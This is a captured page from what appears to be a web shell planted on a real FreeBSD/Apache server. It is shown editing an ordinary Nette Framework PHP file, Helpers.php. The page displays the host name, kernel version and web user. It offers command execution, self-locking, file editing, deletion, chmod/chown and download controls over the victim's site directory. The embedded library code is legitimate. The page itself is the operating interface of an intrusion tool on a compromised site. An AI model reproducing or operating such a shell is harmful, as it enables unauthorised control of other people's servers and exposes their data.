TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
forms
src
Forms
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/forms/src/Forms/Helpers.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Forms; use Nette; use Nette\Utils\Strings; use Nette\Utils\Html; /** * Forms helpers. */ class Helpers extends Nette\Object { private static $unsafeNames = array( 'attributes', 'children', 'elements', 'focus', 'length', 'reset', 'style', 'submit', 'onsubmit', 'form', 'presenter', 'action', ); /** * Extracts and sanitizes submitted form data for single control. * @param array submitted data * @param string control HTML name * @param string type Form::DATA_TEXT, DATA_LINE, DATA_FILE, DATA_KEYS * @return string|string[] * @internal */ public static function extractHttpData(array $data, $htmlName, $type) { $name = explode('[', str_replace(array('[]', ']', '.'), array('', '', '_'), $htmlName)); $data = Nette\Utils\Arrays::get($data, $name, NULL); $itype = $type & ~Form::DATA_KEYS; if (substr($htmlName, -2) === '[]') { if (!is_array($data)) { return array(); } foreach ($data as $k => $v) { $data[$k] = $v = static::sanitize($itype, $v); if ($v === NULL) { unset($data[$k]); } } if ($type & Form::DATA_KEYS) { return $data; } return array_values($data); } else { return static::sanitize($itype, $data); } } private static function sanitize($type, $value) { if ($type === Form::DATA_TEXT) { return is_scalar($value) ? Strings::normalizeNewLines($value) : NULL; } elseif ($type === Form::DATA_LINE) { return is_scalar($value) ? Strings::trim(strtr($value, "\r\n", ' ')) : NULL; } elseif ($type === Form::DATA_FILE) { return $value instanceof Nette\Http\FileUpload ? $value : NULL; } else { throw new Nette\InvalidArgumentException('Unknown data type'); } } /** * Converts control name to HTML name. * @return string */ public static function generateHtmlName($id) { $name = str_replace(Nette\ComponentModel\IComponent::NAME_SEPARATOR, '][', $id, $count); if ($count) { $name = substr_replace($name, '', strpos($name, ']'), 1) . ']'; } if (is_numeric($name) || in_array($name, self::$unsafeNames, TRUE)) { $name = '_' . $name; } return $name; } /** * @return array */ public static function exportRules(Rules $rules) { $payload = array(); foreach ($rules as $rule) { if (!is_string($op = $rule->validator)) { if (!Nette\Utils\Callback::isStatic($op)) { continue; } $op = Nette\Utils\Callback::toString($op); } if ($rule->branch) { $item = array( 'op' => ($rule->isNegative ? '~' : '') . $op, 'rules' => static::exportRules($rule->branch), 'control' => $rule->control->getHtmlName(), ); if ($rule->branch->getToggles()) { $item['toggle'] = $rule->branch->getToggles(); } } else { $item = array('op' => ($rule->isNegative ? '~' : '') . $op, 'msg' => Validator::formatMessage($rule, FALSE)); } if (is_array($rule->arg)) { foreach ($rule->arg as $key => $value) { $item['arg'][$key] = $value instanceof IControl ? array('control' => $value->getHtmlName()) : $value; } } elseif ($rule->arg !== NULL) { $item['arg'] = $rule->arg instanceof IControl ? array('control' => $rule->arg->getHtmlName()) : $rule->arg; } $payload[] = $item; } return $payload; } /** * @return string */ public static function createInputList(array $items, array $inputAttrs = NULL, array $labelAttrs = NULL, $wrapper = NULL) { list($inputAttrs, $inputTag) = self::prepareAttrs($inputAttrs, 'input'); list($labelAttrs, $labelTag) = self::prepareAttrs($labelAttrs, 'label'); $res = ''; $input = Html::el(); $label = Html::el(); list($wrapper, $wrapperEnd) = $wrapper instanceof Html ? array($wrapper->startTag(), $wrapper->endTag()) : array((string) $wrapper, ''); foreach ($items as $value => $caption) { foreach ($inputAttrs as $k => $v) { $input->attrs[$k] = isset($v[$value]) ? $v[$value] : NULL; } foreach ($labelAttrs as $k => $v) { $label->attrs[$k] = isset($v[$value]) ? $v[$value] : NULL; } $input->value = $value; $res .= ($res === '' && $wrapperEnd === '' ? '' : $wrapper) . $labelTag . $label->attributes() . '>' . $inputTag . $input->attributes() . (Html::$xhtml ? ' />' : '>') . ($caption instanceof Html ? $caption : htmlspecialchars($caption, ENT_NOQUOTES, 'UTF-8')) . '</label>' . $wrapperEnd; } return $res; } /** * @return Html */ public static function createSelectBox(array $items, array $optionAttrs = NULL, $selected = NULL) { if ($selected !== NULL) { $optionAttrs['selected?'] = $selected; } list($optionAttrs, $optionTag) = self::prepareAttrs($optionAttrs, 'option'); $option = Html::el(); $res = $tmp = ''; foreach ($items as $group => $subitems) { if (is_array($subitems)) { $res .= Html::el('optgroup')->label($group)->startTag(); $tmp = '</optgroup>'; } else { $subitems = array($group => $subitems); } foreach ($subitems as $value => $caption) { $option->value = $value; foreach ($optionAttrs as $k => $v) { $option->attrs[$k] = isset($v[$value]) ? $v[$value] : NULL; } if ($caption instanceof Html) { $caption = clone $caption; $res .= $caption->setName('option')->addAttributes($option->attrs); } else { $res .= $optionTag . $option->attributes() . '>' . htmlspecialchars($caption, ENT_NOQUOTES, 'UTF-8') . '</option>'; } } $res .= $tmp; $tmp = ''; } return Html::el('select')->setHtml($res); } private static function prepareAttrs($attrs, $name) { $dynamic = array(); foreach ((array) $attrs as $k => $v) { $p = str_split($k, strlen($k) - 1); if ($p[1] === '?' || $p[1] === ':') { unset($attrs[$k], $attrs[$p[0]]); if ($p[1] === '?') { $dynamic[$p[0]] = array_fill_keys((array) $v, TRUE); } elseif (is_array($v) && $v) { $dynamic[$p[0]] = $v; } else { $attrs[$p[0]] = $v; } } } return array($dynamic, '<' . $name . Html::el(NULL, $attrs)->attributes()); } }
Crotin
Name
Size
Permissions
Modified
User/Group
Form.php
13047
0644
2015-09-30 18:28:50
Unknown/Unknown
Rendering
-
0755
2015-09-30 18:29:12
Unknown/Unknown
Rule.php
541
0644
2015-09-30 18:28:50
Unknown/Unknown
ISubmitterControl.php
470
0644
2015-09-30 18:28:49
Unknown/Unknown
Container.php
11964
0644
2015-09-30 18:28:49
Unknown/Unknown
Helpers.php
6148
0644
2015-09-30 18:28:49
Unknown/Unknown
IControl.php
880
0644
2015-09-30 18:28:50
Unknown/Unknown
ControlGroup.php
2073
0644
2015-09-30 18:28:50
Unknown/Unknown
Rules.php
6177
0644
2015-09-30 18:28:50
Unknown/Unknown
Controls
-
0755
2015-09-30 18:29:12
Unknown/Unknown
Validator.php
8424
0644
2015-09-30 18:28:50
Unknown/Unknown
IFormRenderer.php
350
0644
2015-09-30 18:28:49
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin